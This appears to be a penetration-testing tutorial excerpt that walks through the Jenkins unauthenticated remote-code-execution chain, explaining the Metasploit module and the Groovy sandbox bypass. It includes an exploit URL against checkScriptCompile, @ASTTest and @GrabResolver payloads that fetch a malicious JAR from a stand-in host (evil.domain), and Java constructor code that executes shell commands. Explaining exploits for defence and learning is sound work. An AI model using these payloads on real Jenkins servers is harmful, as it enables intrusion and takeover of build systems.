Understanding Jenkins unauthenticated RCE

Chaining the ACL bypass vulnerability with the sandbox bypass gives us remote code execution (RCE). Metasploit already has a module that exploits these vulnerabilities and executes our shellcode. Let's take a look how it can be used before we learn about how the exploit works:

  1. We can load the exploit module by using the following command in msfconsole:
use exploit/multi/http/jenkins_metaprogramming
  1. The following screenshot shows the output of the preceding command:

  1. Next, we set the required options and run the exploit, as shown in the following screenshot:

  1. Now that we have a reverse shell, let's read the source code of the exploit and try to understand how it works. By looking at the source code, we can see the various CVEs that were used in the exploit, as well as the author's details:

  1. Looking at the source code for the module, we can see that the module is requesting /search/index using a GET HTTP method with the q=a parameter:

As we can see, the exploit confirms whether the application is running Jenkins or not by checking the following:

Here, we can see that something related to Groovy's doCheckScriptCompile method is being mentioned. doCheckScriptCompile is a method that allows developers to check for syntax errors. To parse the syntax, an AST parser is used (see the Jenkins terminology section of this chapter for more details):

To be able to achieve successful RCE, we need to send the code that's executed when it's sent through doCheckScriptCompile(). This is where meta-programming comes in. Groovy is meta-programming friendly. 

When we take a look at the Groovy reference manual, we'll come across @groovy.transform.ASTTest, which has the following description:

This implies that the following piece of code will be executed when it's passed through @ASTTest:

@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec(" echo 'Hacked' ")
})

So far, the exploit can be written like so:

http://jenkins/org.jenkinsci.plugins.workflow.cps.cpsflowdefinition/checkScriptCompile?value=@groovy.transform.ASTTEST(value={echo%201}%0a%20class%20Person())

The URL is calling the workflow-cps plugin of Jenkins, which has the checkScriptCompile method. URL for the hosted code is

https://github.com/jenkinsci/workflow-cps-plugin/blob/2.46.x/src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java which can be seen as follows:

However, this version of the exploit will only work if the Pipeline Shared Groovy Libraries Plugin does not exist in Jenkins. This is why, if we look further down the exploit code, we will see something related to @Grab being used in the final payload mentioned in the comments, as shown here:

Now, we need to understand what @Grab is. As per Groovy's official documentation, Grape is a JAR dependency manager that allows developers to manage and add Maven repository dependencies to their classpaths, as shown in the following screenshot:

So, @Grab will import the dependencies from the mentioned repository and add them to the code. Now, a question arises: "What if the repository is not on Maven?" In our case, because it's in the shellcode, Grape will allow us to specify the URL, as shown in the following screenshot:

Here, the following code will download the JAR from http://evil.domain/evil/jar/org.restlet/1/org.restlet-1.jar:

@GrabResolver(name='restlet', root='http://evil.domain/')
@Grab(group='evil.jar, module='org.restlet', version='1')
import org.restlet

Now that we have downloaded the malicious JAR from the server, the next task is to execute it. For this, we need to take a deep dive into the source code of the Groovy core, which is where Grape is implemented (https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy).

There's a method we can use to process the ZIP ( JAR) file and check for two methods in the specific directory. Note the last few lines shown in the following screenshot  there's a function called processRunners():

By taking a look at the following function, we can see that newInstance() is being called. This means a constructor can be called:

In short, if we create a malicious JAR and put a class file in the META-INF/services/org.codehaus.groovy.plugins.Runners folder, inside the JAR file, we will be able to invoke a constructor with our code, as follows:

public class Exploit {
public Exploit(){
try {
String[] cmds = {"/bin/bash", "-c", "whoami"};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

The preceding code will lead to code execution!

So, if we return to the source code of the exploit, as shown in the following screenshot, we should be able to completely understand how it works:

checkScriptCompile is used to pass the syntax of the program.@Grabconfig is used to disable the checksum of the file being fetched.@GrabResolver is used to fetch external dependencies (a malicious JAR file).Import is used to execute the constructor where the shellcode is written.